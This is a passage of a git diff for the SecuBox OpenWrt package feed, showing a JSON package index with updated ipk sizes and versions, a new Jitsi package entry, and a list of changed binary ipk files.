"description": "SecuBox system component",
@@ -402,7 +414,7 @@
"name": "luci-app-secubox-netifyd",
"version": "1.2.1-r1",
"filename": "luci-app-secubox-netifyd_1.2.1-r1_all.ipk",
- "size": 39503,
+ "size": 39497,
"category": "system",
"icon": "box",
"description": "SecuBox system component",
@@ -414,7 +426,7 @@
"name": "luci-app-secubox-p2p",
"version": "0.1.0-r1",
"filename": "luci-app-secubox-p2p_0.1.0-r1_all.ipk",
- "size": 39260,
+ "size": 39256,
"category": "system",
"icon": "box",
"description": "SecuBox system component",
@@ -426,7 +438,7 @@
"name": "luci-app-secubox-portal",
"version": "0.7.0-r2",
"filename": "luci-app-secubox-portal_0.7.0-r2_all.ipk",
- "size": 24557,
+ "size": 24555,
"category": "system",
"icon": "box",
"description": "SecuBox system component",
@@ -438,7 +450,7 @@
"name": "luci-app-secubox-security-threats",
"version": "1.0.0-r4",
"filename": "luci-app-secubox-security-threats_1.0.0-r4_all.ipk",
- "size": 13910,
+ "size": 13904,
"category": "system",
"icon": "box",
"description": "SecuBox system component",
@@ -450,7 +462,7 @@
"name": "luci-app-service-registry",
"version": "1.0.0-r1",
"filename": "luci-app-service-registry_1.0.0-r1_all.ipk",
- "size": 39827,
+ "size": 39821,
"category": "utility",
"icon": "package",
"description": "SecuBox package",
@@ -462,7 +474,7 @@
"name": "luci-app-streamlit",
"version": "1.0.0-r9",
"filename": "luci-app-streamlit_1.0.0-r9_all.ipk",
- "size": 20473,
+ "size": 20469,
"category": "utility",
"icon": "package",
"description": "SecuBox package",
@@ -474,7 +486,7 @@
"name": "luci-app-system-hub",
"version": "0.5.1-r4",
"filename": "luci-app-system-hub_0.5.1-r4_all.ipk",
- "size": 66351,
+ "size": 66343,
"category": "system",
"icon": "settings",
"description": "System management",
@@ -486,7 +498,7 @@
"name": "luci-app-tor-shield",
"version": "1.0.0-r10",
"filename": "luci-app-tor-shield_1.0.0-r10_all.ipk",
- "size": 24536,
+ "size": 24532,
"category": "utility",
"icon": "package",
"description": "SecuBox package",
@@ -498,7 +510,7 @@
"name": "luci-app-traffic-shaper",
"version": "0.4.0-r2",
"filename": "luci-app-traffic-shaper_0.4.0-r2_all.ipk",
- "size": 15634,
+ "size": 15631,
"category": "network",
"icon": "filter",
"description": "Traffic shaping and QoS",
@@ -510,7 +522,7 @@
"name": "luci-app-vhost-manager",
"version": "0.5.0-r5",
"filename": "luci-app-vhost-manager_0.5.0-r5_all.ipk",
- "size": 26200,
+ "size": 26197,
"category": "network",
"icon": "server",
"description": "Virtual host management",
@@ -522,7 +534,7 @@
"name": "luci-app-wireguard-dashboard",
"version": "0.7.0-r5",
"filename": "luci-app-wireguard-dashboard_0.7.0-r5_all.ipk",
- "size": 45373,
+ "size": 45363,
"category": "vpn",
"icon": "shield",
"description": "WireGuard VPN dashboard",
@@ -534,7 +546,7 @@
"name": "luci-app-zigbee2mqtt",
"version": "1.0.0-r2",
"filename": "luci-app-zigbee2mqtt_1.0.0-r2_all.ipk",
- "size": 7090,
+ "size": 7084,
"category": "iot",
"icon": "radio",
"description": "Zigbee device management",
@@ -546,7 +558,7 @@
"name": "luci-theme-secubox",
"version": "0.4.7-r1",
"filename": "luci-theme-secubox_0.4.7-r1_all.ipk",
- "size": 111797,
+ "size": 111791,
"category": "theme",
"icon": "palette",
"description": "LuCI theme",
@@ -558,7 +570,7 @@
"name": "secubox-app",
"version": "1.0.0-r2",
"filename": "secubox-app_1.0.0-r2_all.ipk",
- "size": 11188,
+ "size": 11180,
"category": "utility",
"icon": "package",
"description": "SecuBox package",
@@ -570,7 +582,7 @@
"name": "secubox-app-adguardhome",
"version": "1.0.0-r2",
"filename": "secubox-app-adguardhome_1.0.0-r2_all.ipk",
- "size": 2877,
+ "size": 2878,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -582,7 +594,7 @@
"name": "secubox-app-auth-logger",
"version": "1.2.2-r1",
"filename": "secubox-app-auth-logger_1.2.2-r1_all.ipk",
- "size": 9380,
+ "size": 9374,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -594,7 +606,7 @@
"name": "secubox-app-crowdsec-custom",
"version": "1.1.0-r1",
"filename": "secubox-app-crowdsec-custom_1.1.0-r1_all.ipk",
- "size": 5764,
+ "size": 5759,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -606,7 +618,7 @@
"name": "secubox-app-cs-firewall-bouncer",
"version": "0.0.31-r4_aarch64",
"filename": "secubox-app-cs-firewall-bouncer_0.0.31-r4_aarch64_cortex-a72.ipk",
- "size": 5049324,
+ "size": 5049323,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -618,7 +630,7 @@
"name": "secubox-app-cyberfeed",
"version": "0.2.1-r1",
"filename": "secubox-app-cyberfeed_0.2.1-r1_all.ipk",
- "size": 12451,
+ "size": 12449,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -630,7 +642,7 @@
"name": "secubox-app-domoticz",
"version": "1.0.0-r2",
"filename": "secubox-app-domoticz_1.0.0-r2_all.ipk",
- "size": 2552,
+ "size": 2546,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -642,7 +654,7 @@
"name": "secubox-app-exposure",
"version": "1.0.0-r1",
"filename": "secubox-app-exposure_1.0.0-r1_all.ipk",
- "size": 6828,
+ "size": 6832,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -654,7 +666,7 @@
"name": "secubox-app-gitea",
"version": "1.0.0-r5",
"filename": "secubox-app-gitea_1.0.0-r5_all.ipk",
- "size": 9406,
+ "size": 9405,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -666,7 +678,7 @@
"name": "secubox-app-glances",
"version": "1.0.0-r1",
"filename": "secubox-app-glances_1.0.0-r1_all.ipk",
- "size": 5535,
+ "size": 5531,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -678,7 +690,7 @@
"name": "secubox-app-haproxy",
"version": "1.0.0-r23",
"filename": "secubox-app-haproxy_1.0.0-r23_all.ipk",
- "size": 15683,
+ "size": 15674,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -690,19 +702,31 @@
"name": "secubox-app-hexojs",
"version": "1.0.0-r8",
"filename": "secubox-app-hexojs_1.0.0-r8_all.ipk",
- "size": 94937,
+ "size": 94931,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
"installed": false,
"luci_app": "luci-app-hexojs"
}
+,
+ {
+ "name": "secubox-app-jitsi",
+ "version": "1.0.0-r1",
+ "filename": "secubox-app-jitsi_1.0.0-r1_all.ipk",
+ "size": 8908,
+ "category": "secubox",
+ "icon": "package",
+ "description": "SecuBox backend service",
+ "installed": false,
+ "luci_app": "luci-app-jitsi"
+ }
,
{
"name": "secubox-app-localai",
"version": "2.25.0-r1",
"filename": "secubox-app-localai_2.25.0-r1_all.ipk",
- "size": 5712,
+ "size": 5714,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -714,7 +738,7 @@
"name": "secubox-app-localai-wb",
"version": "2.25.0-r1",
"filename": "secubox-app-localai-wb_2.25.0-r1_all.ipk",
- "size": 7954,
+ "size": 7942,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -726,7 +750,7 @@
"name": "secubox-app-lyrion",
"version": "2.0.2-r1",
"filename": "secubox-app-lyrion_2.0.2-r1_all.ipk",
- "size": 7284,
+ "size": 7275,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -738,7 +762,7 @@
"name": "secubox-app-magicmirror2",
"version": "0.4.0-r8",
"filename": "secubox-app-magicmirror2_0.4.0-r8_all.ipk",
- "size": 9250,
+ "size": 9247,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -750,7 +774,7 @@
"name": "secubox-app-mailinabox",
"version": "2.0.0-r1",
"filename": "secubox-app-mailinabox_2.0.0-r1_all.ipk",
- "size": 7570,
+ "size": 7571,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -762,7 +786,7 @@
"name": "secubox-app-metabolizer",
"version": "1.0.0-r3",
"filename": "secubox-app-metabolizer_1.0.0-r3_all.ipk",
- "size": 13979,
+ "size": 13980,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -774,7 +798,7 @@
"name": "secubox-app-mitmproxy",
"version": "0.4.0-r16",
"filename": "secubox-app-mitmproxy_0.4.0-r16_all.ipk",
- "size": 10213,
+ "size": 10208,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -786,7 +810,7 @@
"name": "secubox-app-mmpm",
"version": "0.2.0-r5",
"filename": "secubox-app-mmpm_0.2.0-r5_all.ipk",
- "size": 3976,
+ "size": 3977,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -798,7 +822,7 @@
"name": "secubox-app-nextcloud",
"version": "1.0.0-r2",
"filename": "secubox-app-nextcloud_1.0.0-r2_all.ipk",
- "size": 2960,
+ "size": 2956,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -810,7 +834,7 @@
"name": "secubox-app-ollama",
"version": "0.1.0-r1",
"filename": "secubox-app-ollama_0.1.0-r1_all.ipk",
- "size": 5742,
+ "size": 5734,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -822,7 +846,7 @@
"name": "secubox-app-picobrew",
"version": "1.0.0-r7",
"filename": "secubox-app-picobrew_1.0.0-r7_all.ipk",
- "size": 5539,
+ "size": 5541,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -834,7 +858,7 @@
"name": "secubox-app-streamlit",
"version": "1.0.0-r5",
"filename": "secubox-app-streamlit_1.0.0-r5_all.ipk",
- "size": 11719,
+ "size": 11718,
"category": "secubox",
"icon": "package",
"description": "SecuBox backend service",
@@ -880,9 +904,9 @@
,
{
"name": "secubox-core",
- "version": "0.10.0-r9",
- "filename": "secubox-core_0.10.0-r9_all.ipk",
- "size": 80068,
+ "version": "0.10.0-r11",
+ "filename": "secubox-core_0.10.0-r11_all.ipk",
+ "size": 87807,
"category": "system",
"icon": "box",
"description": "SecuBox core components",
@@ -894,7 +918,7 @@
"name": "secubox-p2p",
"version": "0.6.0-r1",
"filename": "secubox-p2p_0.6.0-r1_all.ipk",
- "size": 40190,
+ "size": 40189,
"category": "utility",
"icon": "package",
"description": "SecuBox package",
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-auth-guardian_0.4.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-auth-guardian_0.4.0-r3_all.ipk
index bdb493cb..c93f187d 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-auth-guardian_0.4.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-auth-guardian_0.4.0-r3_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-bandwidth-manager_0.5.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-bandwidth-manager_0.5.0-r2_all.ipk
index b4305bdd..ff84a837 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-bandwidth-manager_0.5.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-bandwidth-manager_0.5.0-r2_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-cdn-cache_0.5.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-cdn-cache_0.5.0-r3_all.ipk
index c6726ddf..48e5676f 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-cdn-cache_0.5.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-cdn-cache_0.5.0-r3_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-client-guardian_0.4.0-r7_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-client-guardian_0.4.0-r7_all.ipk
index 8918c43f..25008b46 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-client-guardian_0.4.0-r7_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-client-guardian_0.4.0-r7_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-crowdsec-dashboard_0.7.0-r29_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-crowdsec-dashboard_0.7.0-r29_all.ipk
index 5422c0a4..01fc7802 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-crowdsec-dashboard_0.7.0-r29_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-crowdsec-dashboard_0.7.0-r29_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-cyberfeed_0.1.1-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-cyberfeed_0.1.1-r1_all.ipk
index 12f268e1..7cae6210 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-cyberfeed_0.1.1-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-cyberfeed_0.1.1-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-exposure_1.0.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-exposure_1.0.0-r3_all.ipk
index 15b1b872..7495a7a2 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-exposure_1.0.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-exposure_1.0.0-r3_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-gitea_1.0.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-gitea_1.0.0-r2_all.ipk
index 7a4b2643..3a424c37 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-gitea_1.0.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-gitea_1.0.0-r2_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-glances_1.0.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-glances_1.0.0-r2_all.ipk
index 0920b2e4..73181ec7 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-glances_1.0.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-glances_1.0.0-r2_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-haproxy_1.0.0-r8_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-haproxy_1.0.0-r8_all.ipk
index e96e5b2e..4af985c3 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-haproxy_1.0.0-r8_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-haproxy_1.0.0-r8_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-hexojs_1.0.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-hexojs_1.0.0-r3_all.ipk
index 6031330a..d99a267d 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-hexojs_1.0.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-hexojs_1.0.0-r3_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ksm-manager_0.4.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ksm-manager_0.4.0-r2_all.ipk
index 71d19461..a39c3b33 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ksm-manager_0.4.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ksm-manager_0.4.0-r2_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-localai_0.1.0-r15_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-localai_0.1.0-r15_all.ipk
index 44d6093d..846b2db8 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-localai_0.1.0-r15_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-localai_0.1.0-r15_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-lyrion_1.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-lyrion_1.0.0-r1_all.ipk
index b139b334..3a9789b9 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-lyrion_1.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-lyrion_1.0.0-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-magicmirror2_0.4.0-r6_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-magicmirror2_0.4.0-r6_all.ipk
index 34be727a..01d8b92c 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-magicmirror2_0.4.0-r6_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-magicmirror2_0.4.0-r6_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mailinabox_1.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mailinabox_1.0.0-r1_all.ipk
index 4ae655f6..6abcf749 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mailinabox_1.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mailinabox_1.0.0-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-media-flow_0.6.4-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-media-flow_0.6.4-r1_all.ipk
index 35fb85fa..cf7030c4 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-media-flow_0.6.4-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-media-flow_0.6.4-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-metablogizer_1.0.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-metablogizer_1.0.0-r3_all.ipk
index 4933ff22..d6824d47 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-metablogizer_1.0.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-metablogizer_1.0.0-r3_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-metabolizer_1.0.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-metabolizer_1.0.0-r2_all.ipk
index 9e9231be..67aa4643 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-metabolizer_1.0.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-metabolizer_1.0.0-r2_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mitmproxy_0.4.0-r6_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mitmproxy_0.4.0-r6_all.ipk
index a3297fe5..55ee4ea6 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mitmproxy_0.4.0-r6_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mitmproxy_0.4.0-r6_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mitmproxy_0.5.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mitmproxy_0.5.0-r1_all.ipk
new file mode 100644
index 00000000..e9b767b9
Binary files /dev/null and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mitmproxy_0.5.0-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mmpm_0.2.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mmpm_0.2.0-r3_all.ipk
index 3c2565ac..00bba978 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mmpm_0.2.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mmpm_0.2.0-r3_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mqtt-bridge_0.4.0-r4_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mqtt-bridge_0.4.0-r4_all.ipk
index 0ebafc08..89353e75 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mqtt-bridge_0.4.0-r4_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mqtt-bridge_0.4.0-r4_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ndpid_1.1.2-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ndpid_1.1.2-r2_all.ipk
index bbe33b78..00e7fbc3 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ndpid_1.1.2-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ndpid_1.1.2-r2_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-netdata-dashboard_0.5.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-netdata-dashboard_0.5.0-r2_all.ipk
index 8109cfde..4743400f 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-netdata-dashboard_0.5.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-netdata-dashboard_0.5.0-r2_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-network-modes_0.5.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-network-modes_0.5.0-r3_all.ipk
index 8ba5ea1b..64a7788b 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-network-modes_0.5.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-network-modes_0.5.0-r3_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-network-tweaks_1.0.0-r7_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-network-tweaks_1.0.0-r7_all.ipk
index dd3b006e..ae70a4ee 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-network-tweaks_1.0.0-r7_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-network-tweaks_1.0.0-r7_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-nextcloud_1.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-nextcloud_1.0.0-r1_all.ipk
index b93ba4d6..b6c33130 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-nextcloud_1.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-nextcloud_1.0.0-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ollama_0.1.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ollama_0.1.0-r1_all.ipk
index 6163555b..657c1607 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ollama_0.1.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ollama_0.1.0-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-picobrew_1.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-picobrew_1.0.0-r1_all.ipk
index 58a15d45..0183fe1c 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-picobrew_1.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-picobrew_1.0.0-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-admin_1.0.0-r19_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-admin_1.0.0-r19_all.ipk
index 7bd72b2e..3b599d98 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-admin_1.0.0-r19_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-admin_1.0.0-r19_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-crowdsec_1.0.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-crowdsec_1.0.0-r3_all.ipk
index 20e8e2de..cd14bf8a 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-crowdsec_1.0.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-crowdsec_1.0.0-r3_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-netdiag_1.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-netdiag_1.0.0-r1_all.ipk
index c733e293..93b5f2e3 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-netdiag_1.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-netdiag_1.0.0-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-netifyd_1.2.1-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-netifyd_1.2.1-r1_all.ipk
index 50cda811..a7f743ac 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-netifyd_1.2.1-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-netifyd_1.2.1-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-p2p_0.1.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-p2p_0.1.0-r1_all.ipk
index d672c6e1..e8291ca6 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-p2p_0.1.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-p2p_0.1.0-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-portal_0.7.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-portal_0.7.0-r2_all.ipk
index d02477c1..c8a70538 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-portal_0.7.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-portal_0.7.0-r2_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-security-threats_1.0.0-r4_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-security-threats_1.0.0-r4_all.ipk
index 2e73c8b6..7a989b27 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-security-threats_1.0.0-r4_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-security-threats_1.0.0-r4_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox_0.7.1-r4_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox_0.7.1-r4_all.ipk
index 4cf6685f..1eb9c2b6 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox_0.7.1-r4_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox_0.7.1-r4_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-service-registry_1.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-service-registry_1.0.0-r1_all.ipk
index 9b897e86..2642a56c 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-service-registry_1.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-service-registry_1.0.0-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-streamlit_1.0.0-r9_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-streamlit_1.0.0-r9_all.ipk
